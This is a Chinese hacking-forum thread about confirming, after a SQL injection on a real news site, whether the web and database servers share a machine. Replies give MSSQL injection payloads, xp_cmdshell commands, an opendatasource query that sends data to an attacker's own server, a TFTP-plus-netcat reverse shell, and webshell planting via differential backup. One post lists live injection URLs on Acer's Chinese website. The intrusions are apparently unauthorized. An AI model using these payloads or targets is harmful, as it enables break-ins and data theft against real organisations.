发新话题
打印

[讨论]得到一个注入点 如何判断web和sql在同一机器上

[讨论]得到一个注入点 如何判断web和sql在同一机器上

议题提交:hawk44
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

今天在本地一个做得比较大的网站看新闻,兴致所至就想看看网站的安全的做得怎么样。粗略一看是asp+sql的组合。系统方面的漏洞就不找了,估计补丁都打全了。看看有没有脚本注入的地方,后来找到一处。
提交1=(select@@VERSION)返回win2000+mssql
提交1=(select IS_SRVROLEMEMBER('sysadmin'))返回正常,证明当前连接的账号

是服务器角色sysadmin权限!察看连接连接账号是不是用sa连接提交'sa'=(SELECT System_user)返回正常。
我的疑问就是找到一个这样的注入点,如何才能简单,迅速的判别web主机和数据库主机是否是同一台机器。我设想了以下的办法

1.用扫描器,看开1433了没有。但如果对方装了防火墙,1433没扫出来,也不能肯定它们就不是一台机器。
2.exec master.dbo.XP_cmdshell'ping 我的ip地址';-- 我这的防火墙提示遭受icmp ping攻击,说明web和sql在同一个主机上(这是在网上找到的办法,但是如果sql不和web在同一台机器上,处于内网,却能通过web服务器连到网上,不也能ping通我吗)

这个疑问我已经想了很久了,不知道各位邪八的朋友有什么好办法。

TOP

是sa权限的话就看能执行命令不,用工具执行下看看不就ok了!^_^!
广告位招商! 联系人:neeao E-Mail:neeaocn(at)gmail.com Msn:neeao@hotmail.com Site:http://www.neeao.com

TOP

读取注册表,找其WEB目录的地址,如果没有!就应该可以下定论了,不在同个服务器!
如果有,再找找其网站的相应WEB目录!如果没有,应该也可以说不在同个服务器!反之。。。。。
个人见解,有错误,请指正!
通往胜利的路不只一条!

TOP

扫描当然不能确定
数据库服务器可能和WEB是属于一个局域网内
不对外公开
就算是公网上的SQL
他可以只对WEB SERVER开放1433
不需要对所有人开放
连入侵者都敢说自己在做网络安全。关键大家是真正为安全作过什么?

TOP

即然服务器上有XP_cmdshell这个扩展存储,还是连接的.拿到管理员权限是很简单的事.上服务器上看一下不就知道了吗?

exec master.dbo.XP_cmdshell'可以运行CMD命令,利用IE回显.用ipconfig.看一下网关.netstat -an看一下连接情况.

这么好的东东,把地址发出来大家研究一下.呵呵

TOP

1.用扫描器,看开1433了没有。但如果对方装了防火墙,1433没扫出来,也不能肯定它们就不是一台机器。
如果对方配置的时候改变的端口一样不可以

读取注册表,找其WEB目录的地址,如果没有!就应该可以下定论了,不在同个服务器!
你怎么判断他就是SQL Server??
别人说啥就是啥啊???

TOP

这个问题我也不清楚也不怎么会

不过可以试想下用SQL语句可以不????
别人说啥就是啥啊???

TOP

我想更进一步.如果你的连接用户是db_owner.那么.又该怎么知道他是否sql和web在一个机器上?
至于sa的.你可以执行下ipconfig /all.看看他的ip.再ping下你注入的玉米.看ip是否一致.就ok了.
如果是内网.这样也能看出来.
http://www.phpweblog.net/GaRY/

TOP

sa权限简单多了,xp_cmdshell用工具查看iponfig,看IP,然后再自己机器上ping网站,如果IP相同就是同一个服务器.
如果不是sa,比如db_owner那就要看经验了,用工具列目录列表,如果幸运的话,找到网站目录,用差异备份到你认为的网站目录下,比如111.asp,如果通过浏览器可以访问,那就恭喜你了,一个webshell至少是出现了.db_owner还有挺多,至少上面是一种方法.
\';update heart set love=\'nothing
\' where name=yaner;--

TOP

引用:
下面是引用我非我于2005-08-10 20:35发表的:
你可以执行下ipconfig /all.看看他的ip.再ping下你注入的玉米.看ip是否一致.就ok了.
如果是内网.这样也能看出来.
那是不是浏览器能回显出来啊?

TOP

引用:
下面是引用我非我于2005-08-10 20:35发表的:
我想更进一步.如果你的连接用户是db_owner.那么.又该怎么知道他是否sql和web在一个机器上?
至于sa的.你可以执行下ipconfig /all.看看他的ip.再ping下你注入的玉米.看ip是否一致.就ok了.
如果是内网.这样也能看出来.
ipconfig

Windows IP Configuration

Ethernet adapter 本地连接 3:

      Connection-specific DNS Suffix  . :
      IP Address. . . . . . . . . . . . : 192.168.0.2
      Subnet Mask . . . . . . . . . . . : 255.255.255.0
      Default Gateway . . . . . . . . . :192.168.0.1

ping www.xiaoqi.com.cn
Pinging www.xiaoqi.com.cn [61.152.102.83] with 32 bytes of data:

:)

如果是dbo的话,用opendatesources连到你的一台sql机器,比如说用cadt就行了.在你的sql机器上netstat -an | find "1433" ,有新连接,应该就是它了吧?IP?不一定准,有可能只是SQL机的网关IP
然后继续对比了.

至于说只通过这些手段,比如说IP,来判断的话,都不可能100%准确的,即使ipconfig得出的结果与ping domainname得出的结果相同,也不能说100%判断它就是同台,因为80口可能映射到其他机器去了.
:)

其实手段无非就这些,看概率,想要100%的话,只有写文件到怀疑的web目录中去了,能访问,就同台.

TOP

呵呵~这个蛮好解决的
最早看见的是在安全焦点上,虽然没有说清楚,然后详细说名的是看了Lcx的文章
给出一个例子
insert into opendatasource('sqloledb','server=自己的ip;uid=帐号;pwd=密码;database=自己的数据库').自己的数据库.dbo.自己建立的数据库的表名 select name from master.dbo.sysdatabases;--

先在本地架设一个sql server,然后建立一个库还有表名,把密码写上去,就等着对方来连接吧
如果不能连接,多半是因为对方是在内网,不能上网.要不然就是对方风火墙的原因
我测试过很多主机,成功率达到80%以上~

TOP

而且
权限哪怕是在最小的都可以实现,只要有select的权限就可以了
但是在本机的架设的sql权限最好给点点
如果不能连接,会显示出为什么不能连接的
如果成功
在本地nestat -an
或者防火墙就可以看见了

TOP

先TFTP个NC
然后NC反弹出来连你公网IP
然后IPCONFIG /ALL

TOP

越说越麻烦了.呵呵
XPCMD非常简单一个是IPCONFIG还有tftp,另外ping自己(有天网一类东西的话).还有net user >c;\..xxxxx\404.b.htm,然后再访问一个不存在的页面看看显示就清楚是不是一台服务器了
DBO没什么好办法.dirtree看目录,或者读注册表,或者用小齐的鸟意见.用opendatesources

TOP

既然是sa的!  找个工具执行命令...ping下玉米。.看返回的 ip  ..  基本就可以判定了吧!

TOP

网站的ip可以通过域名解析出来
数据库的主机ip可以通过注册表读取出来
两个对照起来,就知道了

TOP

怎么读?      指教下  :)

TOP

既然是Sysadmin的.执行一下命令再Bulk一下
或者是OpenRowSet到自己的NC上来
me=\"kEvin1986\" & chr(0) & \"at solitude\" msgbox len(me)  \' You can see somthing. msgbox me  \' But just part of it. \'i think i will hide part of myself

TOP

引用:
下面是引用!angel于2005-08-09 22:41发表的:


这么好的东东,把地址发出来大家研究一下.呵呵
刚好,我这里有一个也是SA权限的注入点,我一看是SA权限的,基本上就没兴趣了。没有再继续下去,以前都是看些牛人的文章,没和谁交流过注入方面的问题。现在拿出来大家一起对比研究下。希望能学到些更好的想法。


1、http://www.acer.com.cn/aboutus/a ... a41&titleid=242

2、http://www.acer.com.cn/aboutus/zhaopin/index.asp?a=a44&sro=bj

3、http://www.acer.com.cn/product/product.asp?id=6

这是宏基的站点,我尝试了第一个注入点,是SA权限的,没想到他们也会犯这种错,刚好看见有这方面的问题就拿出来,大家一起研究、对比下。思路最重要。希望大家有什么好的思路也说说。

TOP

不用那么复杂,看一下netstat输出,连web的ip里有没有自己的IP.
如果根本没有web,则肯定不在一起;
如果有web,没有自己ip,则不在一起;
如果有web,有自己ip,则在一起;

有其他情况,不一定很准.

TOP

大家都只在应用层上讨论这个问题.
而事实上.真正需要打破这些判断的正确性,只要在三层动动手脚就OK了.
andyower说的让mssql弹回来连你架好的mssql获取IP,NAT可以打破.表面上web和sql都是一个IP,实际上只是各用了这IP的一个口而已.
madsys说的我觉得基本上可以做到比较精确.能够判断是否同台
但是各位同志,其实这个议题本身就有问题..是否同台关我们P事
只要sql能往web目录写东西.那就够了...
我见过不少web机上把web目录配为\\sql\xxxx这样的机器呢..哈哈.同台?不同台?要死...

TOP

可以采用
select distinct hostname from master..sysprocesses
判断出连接到数据库的机器名,根据其机器名称来判断是否WEB与数据库分离

TOP

发新话题